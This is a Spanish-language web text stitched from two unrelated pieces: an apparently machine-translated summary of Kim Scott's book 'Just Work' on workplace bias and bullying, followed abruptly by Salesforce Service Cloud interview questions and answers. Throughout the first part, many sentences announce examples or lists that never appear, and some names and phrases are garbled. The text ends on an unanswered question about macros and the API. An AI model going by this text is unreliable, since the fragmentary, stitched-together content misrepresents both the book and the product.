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En este artículo basado en el libro de Kim Scott, que es la continuación de su primer libro Radical Candor, aprenderás como crear un entorno laboral donde todos puedan colaborar y respetar las individualidades de cada uno.
Por supuesto, esto no es lo que sucede en la mayoría de los entornos laborales. La injusticia en el trabajo abunda debido a seis problemas diferentes:
No solo son estas cosas injustas, son inefectivas. De acuerdo al estudio de McKinsey, las empresas que están en el cuartil inferior por el género y la diversidad cultural muy probablemente sean menos rentables que sus pares equitativos.
Únete en los próximos 12 minutos a medida que exploramos cómo hacerlo correcto creando una cultura Just Work.
Comenzaremos describiendo las dos dinámicas diferentes y como crean 4 tipos diferentes de entornos laborales.
Las dos dinámicas son:
Estas dos dinámicas crean 4 tipos de entornos laborales diferentes. Observa en cual trabajas ahora.
Como puedes imaginar por su nombre, este es el peor. Tiene ambas Dinámicas de Coerción y de Conformidad:
Bajo este sistema, existe respeto por el individuo pero los altos niveles de humillación a la gente que exponen sus creencias que la multitud considera injusta. Esto solo hace que la gente esté a la defensiva y avergonzada y los avergonzados rara vez noten su propia lógica errónea.
Este es el sistema más común, y el menos dramático.
El ejemplo sería un entorno laboral donde:
Este sistema es donde existe un respeto por los individuos y altos niveles de colaboración y el resto de nuestro tiempo desempacamos como crearlo.
Ahora veamos un poco más las fuerzas que crean una injusticia laboral y que comienzan con unas pocas definiciones.
La parcialidad es no intencional. Probablemente hayas escuchado el término parcialidad inconsciente porque la parcialidad por lo general sucede sin que estén conscientes de ello:
El prejuicio es queriéndolo,
El Bullying es ser malo: Es el uso repetido e intencional del estado dentro del grupo para dañar y humillar a otros.
Exploraremos lo que puede y debe hacer la gente lastimada, la gente que es testigo de eso, la gente que lo hace y los líderes de las empresas donde sucede.
Una de las cosas que Scott advierte en contra es permanecer en silencio.
Si te encuentras en el extremo receptor del favoritismo, tu instinto natural puede ser racionalizarlo con pensamientos como que:
Ellos no quisieron ocasionar un daño o Soy una buena persona y no no encajo en la cara de las personas
Eso solo:
La mejor respuesta es invitar a la persona a considerar tu perspectiva usando una declaración Yo. La forma más fácil de esto es una corrección de los hechos.
Como ejemplo:
La mejor respuesta al prejuicio es establecer un límite claro más allá en el cual la otra persona debe ir con una Declaración de Eso.
Como ejemplo:
Finalmente, el mejor modo de tratar al hostigador directamente con un Tú.
Como ejemplo:
Los observadores, lo que Sctot denomina defensores son fundamentales en ayudar a crear un entorno Solo de Trabajo porque tiene ventajas que ninguno de los otros jugadores tiene:
Cuando se responde al bullying, puedes utilizar el enfoque «5D» creado por Hollaback, una organización sin fines de lucro que desarrolla entrenamiento para los defensores:
El título de esta sección lo dice todo. Si has lastimado a alguien, tu primer paso es reconocer tu error y disculparse.
Scott nos dirige al Art of the Apology por Lauren M. Bloom, que explica que una disculpa efectiva tiene los siguientes pasos:
Así es como se hace de manera correcta, pero para ser claro, aquí hay algunas disculpas que no son disculpas realmente (por lo tanto deben ser evitadas)
El primer paso que las empresas parecen tomar para crear una cultura de Solo Trabajo es el entrenamiento de la parcialidad inconsciente para los miembros del equipo.
Sin embargo, ningún entrenamiento puede cambiar patrones profundos arraigados de pensamiento el cual es donde la parcialidad el prejuicio y el bullying nacen.
Debe haber una práctica consistente de nuevas normas.
Una de los pasos inmediatos que puedes tomar como un líder es garantizar interrumpir patrones de prejuicio en tu empresa.
Aqui hay algunas cosas concretas que puedes hacer para ayudar::
Aquí hay consejo directo, si no tienes un código de conducta escribe uno. Cuando lo hagas, asegúrate de crear la aceptación que estas esperando para asegurar que:
No cometas errores, esto llevará tiempo y esfuerzo, pero te empujará como líder y como organización para pensar lo más claro posible sobre el comportamiento, como lo haces sobre el rendimiento.
Existen tres áreas donde puedes tener un impacto inmediato cuando se trata de bullying en el entorno laboral:
Si lo haces nadie se siente cómodo diciéndolo y tu regresaras a foja cero lo estarás creando una cultura de vergüenza y auto estricta,
La Discriminación es excluir a otros de oportunidades y sucede cuando agregas poder al prejuicio o al prejuicio.
El acoso es intimidar a otros en un modo que cree un entorno laboral hostil y suceda cuando agregas poder al prejuicio o al bullying.
Aqui hay algunas coas que puedes hacer para garantizar que evites ambos dd esas cosas de que sucedan.
Puedes sacar todo tipo de prejuicio e inlcinación al contratar retirando toda información como:
Asegurarse que te focalices en mantener tu fuerza de trabajo diverso una vez que lo hayas creado.
Existen dos cosas que debe apretar atención cuando se trate de compensación:
La clave aquí es:
Es sumamente aconsejable que:
Amy Edmondson, profesora en la Escuela de Negocios de Harvard es la experta líder en seguridad psicológica y tiene no solo definido el término sino que también ha inventado un método de medirlo:
La gente por lo general se va debido a sus jefes y no darán aquella devolución directamente a ellos. Por lo tanto, alguien de mayor jeraquía que el jefe de aquella persona debe hacer la entrevista,
Ambos son malas ideas si son utilizadas en situaciones de acoso y discriminación porque permiten que el prejuicio y la discriminación permanezcan detrás de las puertas cerradas.
Cualquier función de cumplimiento debe reportarse directamente a un comité de auditoria y se debe permitir dirigirse al Presidente cuando lo necesiten.
Existen muchos pasos que puedes y debes tomar si estás tratando con discriminación y acoso:
La primera cosa que debes hacer es documentar en todo momento lo que pienses sea discriminación o acoso. Toma una pequeña cantidad de tiempo diariamente de manera que puedas llevar un informe completo.
Discriminación y acoso pueden dejar un sentimiento solo.
Encuentra a la gente que se relacionen con lo que tú estás atravesando.
Si decides que vas a hablar con los de Recursos Humanos o tu jefe directamente sobre los temas que estas enfrentando:
Si eres un defensor en esta situación, ofrece hacer instrucciones a la persona que esta siendo dañada y señala todas sus opciones.
HR puede ser útil en estas situaciones. Primero si ellos resuelven el problema en tu nombre pueden ahorrar el tiempo y fastidiar tener que encontrar otro trabajo.
Scott señala que:
El reportar a los de Recursos Humanos puede ayudar a otros en el futuro incluso si no ayudan hoy
Existen riesgos importantes asociados con tomar una acción legal, incluyendo:
Ahora nos veremos hacia el prejuicio, el bullying, la discriminación y el acoso.
La simple historia aquí es que debas crear una cultura de consentimiento cuando se trata de trato personalizado (touching) en tu empresa.
Esto significa que es la responsabilidad del actor de este trato (toucher) que sea consiente de como la otra persona siente sobre ser así tratada.
Aqui el trato:
Esto es simple, si ves una situación donde alguien obviamente se siente incomodo dice algo
Esto es también simple si alguien no quiere ser tocado, no lo toques. Lee las pistas sociales. si eres malo en leer las pistas sociales tu error seria no tocar.
Esta bien preguntarle a alguien algo como: ¿Abrazo, Apretón de manos, puño, o sonrisa?
Existen muchas cosas que puedes hacer como líder para reforzar tu cultura de consentimiento y tu código de conducta:
Conclusión
Just Work es el mejor modo de crear un negocio que rinda mejor. pero requiere un compromiso de amplia organización para hacer las cosas mejores.
Pero es posible cuando creas una cultura donde la individualidad es respetada y en donde demandar conformidad y colaboración es la norma en vez de la coerción.
Puedes hacerlo pero alguien tiene que ir primero. Permite que esa persona seas tú.
Temas cubiertos en la entrevista de Salesforce Service Cloud:
1. ¿Qué es Salesforce Service Cloud?
– Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera rápida y eficiente. ¡Ahí es donde entra Salesforce Service Cloud!
2. ¿Cómo beneficia Service Cloud a un departamento de atención al cliente?
Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le envían correos electrónicos o le hacen ping en las redes sociales. ¡Es como hacer malabares! Service Cloud es como un asistente súper inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder más rápido.
¿La mejor parte? Puede conectarse con sus clientes dondequiera que estén: por teléfono, en las redes sociales, lo que sea. ¡Menos caos, más choca esos cinco en la oficina!
3. ¿Cuál es la diferencia entre Salesforce Sales Cloud y Service Cloud?
Piense en su negocio como en un automóvil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, ¿la nube de servicios? Ese es su sistema de dirección y comodidad. Una vez que los clientes están a bordo, se garantiza que estén contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querrán viajar contigo nuevamente.
4. ¿Qué es OmniCanal en el contexto de Service Cloud y cómo beneficia a una empresa?
OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electrónico, teléfono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.
5. ¿Cómo mejora Service Cloud la satisfacción del cliente?
Conocer bien a sus clientes y satisfacer sus necesidades rápidamente no sólo los deja satisfechos; ¡Puede convertirlos en fanáticos de tu marca! Además, los clientes satisfechos a menudo significan que volverán y les dirán a sus amigos lo fantástico que eres: ¡todos ganan!
1.¿Qué es un caso en Salesforce?
– Imagínese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. ¿Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".
2.¿Cómo se pueden crear casos en Salesforce?
Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente envía un correo electrónico, completa un formulario en su sitio web, le envía un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.
3. ¿Qué es Web-to-Case y cómo se utiliza?
¿Sabes cómo puedes pedir tu café con anticipación en una aplicación y te estará esperando cuando llegues? Web-to-Case es algo así, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa información se envía directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.
4. ¿Explicar el correo electrónico para enviar casos?
Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electrónico de servicio al cliente y Salesforce . Cuando sus clientes le envían un correo electrónico pidiéndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.
5. ¿Qué es la escalada de casos y cómo se configura?
A veces, las cosas necesitan un poco más de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto período de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una señal de alerta cuando uno está tardando demasiado.
6. ¿Cómo funcionan las reglas de asignación de casos?
Las reglas de asignación son como los policías de tránsito de Salesforce. Observan los nuevos casos que llegan y les indican la dirección correcta. Según los detalles del caso, como de qué se trata o de quién proviene, estas reglas los envían al departamento correcto o a la persona más adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.
7. ¿Qué son las colas de casos y en qué se diferencian de las reglas de asignación?
Las reglas de asignación dirigen los casos a personas específicas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.
8. ¿Cómo se realiza un seguimiento del historial del caso?
Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de dónde ha estado, a quién ha visitado y qué se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. Así, cualquiera que observe el caso podrá ponerse al día con su recorrido.
9. ¿Qué son los equipos de casos?
Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.
10. ¿Cómo se utilizan los feeds de casos?
Los feeds de casos son como líneas de tiempo de las redes sociales para cada caso. Muestran una vista cronológica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.
11. ¿Puedes realizar un seguimiento del tiempo dedicado a cada caso?
Sí, con funciones de seguimiento del tiempo. Es como un cronómetro del trabajo: puede medir cuánto tiempo dedican los agentes a cada caso.
12. ¿Cómo maneja Salesforce los correos electrónicos masivos en la gestión de casos?
Salesforce le permite enviar correos electrónicos masivos para mantener actualizados a muchos clientes a la vez.
13. ¿Qué son los hitos del caso?
Los hitos son como puntos de control en una carrera. Son objetivos específicos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.
14. ¿Cuál es la diferencia entre un caso y una orden de trabajo?
Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas físicas.
15. ¿Cuáles son los beneficios de utilizar Chatter para los casos?
Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.
16. ¿Cuáles son los componentes de la regla de asignación de casos en Salesforce?
En Salesforce, la regla de asignación de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.
Regla de caso: una regla de caso define una o más de una condición que debe cumplirse para ser asignada a un usuario específico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignación.
Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.
1. ¿Qué es el conocimiento de Salesforce?
Salesforce Knowledge es como una carpeta para toda la información que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar artículos, preguntas frecuentes, guías de solución de problemas y más, todo organizado y fácil de encontrar.
2. Explicar el proceso de creación y mantenimiento de una Base de Conocimiento en Salesforce.
Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir artículos; pueden ser preguntas frecuentes, guías prácticas o pasos para la solución de problemas. Una vez que haya terminado, los colocará en los estantes (es decir, los publicará en Salesforce Knowledge) y así, estarán disponibles para que los lea su equipo o incluso sus clientes. Deberá revisar sus artículos con regularidad, actualizar la información anterior y seguir agregando material nuevo para mantener todo actualizado.
3. ¿Cuál es la diferencia entre Soluciones y Artículos de Conocimiento?
Las soluciones son como esas viejas enciclopedias : tienen información útil, pero son un poco básicas y solo su equipo puede leerlas. Por otro lado, los artículos de conocimiento son como tener una base de datos completa en línea. Son más dinámicos, pueden incluir videos e imágenes y puedes compartirlos no solo con tu equipo sino también con tus clientes.
4. ¿Cómo pueden los usuarios de Service Cloud aprovechar los artículos de conocimiento?
Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el artículo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea más rápido, más preciso y, sinceramente, mucho menos estresante.
5. ¿Pueden los clientes acceder a los artículos de conocimiento? ¿Si es así, cómo?
¡Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web público donde estos artículos estén disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el teléfono o enviar un correo electrónico.
1.¿Qué es la Consola de Servicio en Salesforce?
Imagínese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estación de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (artículos de conocimiento), todo en un solo lugar. Estás allí, cocinando varios platos (manejando varios casos de clientes) a la vez. 🍳👩🍳🔥
2. ¿Cómo mejora la Consola de servicio la productividad de los agentes?
Si eres chef en una cocina, ¿no sería más fácil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. ¡Es como tener superpoderes, para que puedan ayudar a los clientes más rápido y mejor!
3. ¿Se puede personalizar la Consola de servicio? Si es así, ¿cómo?
¡Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu teléfono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a través de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que diseñas tu centro de mando.
Portales/comunidades de clientes y agentes:
1. ¿Qué es una comunidad de clientes en el contexto de Service Cloud?
Imagínese un centro comunitario en un vecindario. Es un lugar donde los residentes se reúnen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un “centro comunitario” virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en línea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. También pueden encontrar artículos o anuncios útiles que haya publicado, ¡muy parecido a un tablero de anuncios comunitario!
2. ¿En qué se diferencian los portales de agentes de los portales/comunidades de clientes?
En el centro comunitario, piense en el Portal del Cliente/Comunidad como el salón principal donde todos se reúnen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al salón principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.
3. ¿Cómo pueden los clientes utilizar las comunidades para autoservicio?
En una comunidad de clientes, los clientes pueden explorar los artículos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y términos, sin necesidad de llamar directamente a la “oficina del administrador” (contactar con soporte).
4. ¿Cuáles son las mejores prácticas para crear una comunidad de clientes?
La comunidad de clientes de Salesforce debe ser fácil de usar y proporcionar valor real. Asegúrese de que sea de fácil acceso, con categorías claras para la discusión y una amplia base de conocimientos. Actualice y modere periódicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participación reconociendo a los miembros activos u organizando eventos o desafíos comunitarios.
1. ¿Se puede automatizar el enrutamiento de casos? ¿Si es así, cómo?
En Service Cloud, los casos se pueden enrutar automáticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema común, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.
2. ¿Cómo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?
Imagínese el restaurante prometiendo que cada pedido se servirá en 30 minutos o, de lo contrario, será gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse según su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. ¡Mantiene al equipo responsable y a los clientes contentos!
3. ¿Podría definir la Gestión de derechos en el contexto de Salesforce Service Cloud?
La gestión de derechos en Salesforce Service Cloud es una función que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en función de factores como garantías de productos, contratos de servicio o planes de soporte. Esta característica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.
4. ¿Puedes explicar la funcionalidad de Visual SLA Timelines?
Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representación gráfica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso según el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los términos del SLA.
1. ¿Cómo mejoran los informes y paneles las operaciones de servicio?
Imagínese que al final de cada día, el gerente recibe un resumen de todo lo sucedido: cuántos clientes llegaron, cuál fue el plato más popular, cuántos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visión rápida pero completa de cómo van las cosas. ¿Los clientes esperan demasiado? ¿Algunos problemas se resuelven más rápido que otros? Esta información ayuda al equipo a saber qué funciona y qué no, para que puedan mejorar su "servicio".
2. ¿Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es así, ¿cómo?
Service Cloud le permite realizar un seguimiento del desempeño de sus agentes. Puede ver cuántos casos han resuelto, qué tan rápido están trabajando e incluso cómo los clientes califican su servicio. Es como un gráfico de desempeño para los camareros, pero para sus agentes de servicio.
3. ¿Cuáles son algunas métricas de servicio comunes que puede rastrear en Service Cloud?
En el mundo de Service Cloud, las métricas comunes incluyen cosas como
1. ¿Qué es la Integración Telefónica Computadora (CTI)?
Es un término para un sistema que permite que las computadoras interactúen con los teléfonos. Significa que cuando alguien llama, el sistema de atención al cliente sabe inmediatamente quién es y cuál es su historial con la empresa.
2.¿Cómo mejora CTI el servicio al cliente?
En el restaurante sin CTI, cada llamada de un cliente sería como una reunión de camareros durante la cena por primera vez. Tendrían que volver a hacer todas las preguntas básicas: "¿Tiene alguna alergia?" “¿Prefieres asiento junto a la ventana o en el pasillo?” etcétera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres alérgico al maní, saben que te gusta el queso extra y tienen lista tu mesa favorita. En términos de atención al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.
3. ¿Puede darnos un ejemplo de cómo se utiliza CTI en un escenario de call center?
Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra información relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qué llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.
1. ¿Qué es el servicio al cliente social en Salesforce?
¿Sabes cómo puedes chatear con amigos y ver qué están haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.
2. ¿Cómo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?
Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegurándose de que nadie se sienta ignorado y que cada problema se resuelva rápidamente.
3. ¿Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?
¡Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda quién dijo qué, almacena información sobre los problemas del cliente e incluso cómo se resolvió. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que continúa la conversación justo donde la dejó, como si retrocediera en el historial de chat con un amigo.
1. ¿Cómo funciona Live Agent en Service Cloud?
Imagínese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parecía confundido. Así es Live Agent en el mundo online. Es una característica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras están en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.
2. ¿Cuáles son los beneficios de utilizar el chat para atención al cliente?
Los clientes obtienen atención instantánea y sus preguntas pueden responderse de inmediato. Además, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes líneas de pago.
3. ¿Se pueden automatizar las respuestas en Live Agent?
Sí, si alguien dice "hola", el sistema puede decir automáticamente "¡Hola!". ¿Cómo puedo ayudarte hoy?" Está programado para reconocer palabras o preguntas específicas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarrápidas a preguntas comunes.
4. ¿Cómo maneja Salesforce los mensajes SMS para el servicio de atención al cliente?
Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajería SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones rápidas o incluso responder preguntas, todo a través de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversación.
1. ¿Cómo se utiliza el correo electrónico en Service Cloud?
No se trata sólo de enviar y recibir correos electrónicos; es un sistema completo que gestiona las comunicaciones por correo electrónico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qué se dijo y cuándo.
2. ¿Puedes automatizar las respuestas por correo electrónico?
– ¡Absolutamente! Según ciertas palabras clave en el correo electrónico del cliente o criterios específicos, el sistema puede enviar una respuesta escrita previamente. Es instantáneo, por lo que los clientes no tienen que esperar y les da a los agentes reales más tiempo para manejar los problemas complejos que necesitan un toque humano.
3. ¿Cómo se asegura de que los correos electrónicos de los clientes se envíen a los agentes adecuados?
Utilice el enrutamiento de correo electrónico en Service Cloud. Usando las reglas que usted configura, los correos electrónicos se pueden dirigir a ciertos agentes según el contenido del correo electrónico, la información del cliente o incluso la carga de trabajo de cada agente.
1. ¿Cómo respalda Salesforce el servicio al cliente móvil?
Con la aplicación móvil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su teléfono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.
2. ¿Cuáles son las limitaciones del servicio al cliente móvil en Salesforce?
Si bien la aplicación móvil Salesforce es súper poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar difíciles de navegar en una pantalla más pequeña y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.
1. ¿Cómo se mide la satisfacción del cliente en Service Cloud?
En Service Cloud, no solo responde las consultas de los clientes y espera que estén satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos automáticamente después de que se resuelva un caso. Es como preguntar: "¿Qué le pareció nuestro servicio?" ¡para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!
2. ¿Qué es una puntuación de satisfacción del cliente (CSAT)?
CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuación que los clientes otorgan en función de su satisfacción con una interacción específica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuación, mejor trabajo hizo para cumplir (¡o superar!) sus expectativas.
3. ¿Qué es Net Promoter Score (NPS) y cómo se utiliza en Salesforce?
NPS es como preguntar a sus comensales: "¿Recomendaría nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata sólo de un plato de sopa; ¡Lo importante es si toda la experiencia gastronómica les hace querer contárselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuación a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.
4. ¿Se pueden integrar herramientas de encuestas externas con Salesforce?
Puede integrarlo con herramientas de encuestas externas que quizás ya esté utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, reúne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.
1. ¿Qué es Salesforce Einstein y cómo se aplica a Service Cloud?
Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.
2. ¿Cómo funcionan los Bots de Einstein?
Se encargan de las tareas sencillas y rutinarias del servicio de atención al cliente, como responder preguntas comunes o guiar a un usuario a través de un proceso establecido.
3. ¿Puede Einstein sugerir respuestas a los agentes?
Es como un manual dinámico e inteligente que no sólo tiene todas las respuestas sino que también sabe exactamente cuándo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o solución, acelerando el servicio y asegurándose de que las "comidas" de su servicio al cliente sean siempre deliciosas.
1. ¿Qué es Field Service Lightning?
Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos súper organizado que sabe qué camión de comida está dónde, qué sirven, quién está disponible para servir delicias y quién se toma un descanso. ¡Se trata de administrar su equipo sobre la marcha, asegurándose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desafío "culinario" (problema del cliente) que encuentren en el campo!
2.¿Cómo se integra Field Service Lightning con Service Cloud?
Field Service Lightning, cuando se integra con Service Cloud, brinda información en tiempo real hacia y desde las unidades móviles (FSL), para que todos sepan lo que sucede a su alrededor.
3. ¿Puede programar y enviar agentes de servicio de campo utilizando Salesforce?
¡Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que estén listos para mejorar sus especialidades según sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.
Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional fácil de recordar. ¡Imagínate que estamos charlando en tu cafetería favorita!
1.¿Qué es una macro en Salesforce Service Cloud?
Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "¡Oye, ya tengo esto!". ¡Y listo!
2. ¿Todos pueden usar mis Macros?
Si los mantiene públicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guardársela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.
3. ¿Pueden las macros interactuar con aplicaciones de terceros en Salesforce?
– Directamente, no. Las macros están diseñadas para automatizar las funcionalidades estándar de Salesforce.
4. ¿Es posible deshacer las acciones de una Macro una vez ejecutada?
No, no hay un botón "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.
5. ¿Se pueden programar las macros para que se ejecuten a una hora específica?
No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador automático.
6. ¿Qué tipo de acciones no puedes realizar con una Macro?
Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.
7. ¿Cómo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?
Utilice carpetas para organizar y compartir colecciones de macros.
8. ¿Se puede modificar una macro activa? ¿Hay que tomar alguna precaución?
Sí, puede editar una macro y probar las modificaciones antes de su uso generalizado.
9. ¿Es posible asignar Macros específicas a usuarios o perfiles específicos?
Si bien no puede asignar una macro directamente a usuarios específicos, puede controlar el acceso utilizando las carpetas de macros y la configuración de uso compartido de Salesforce.
10. ¿Cómo se relacionan las macros con la API de Salesforce?
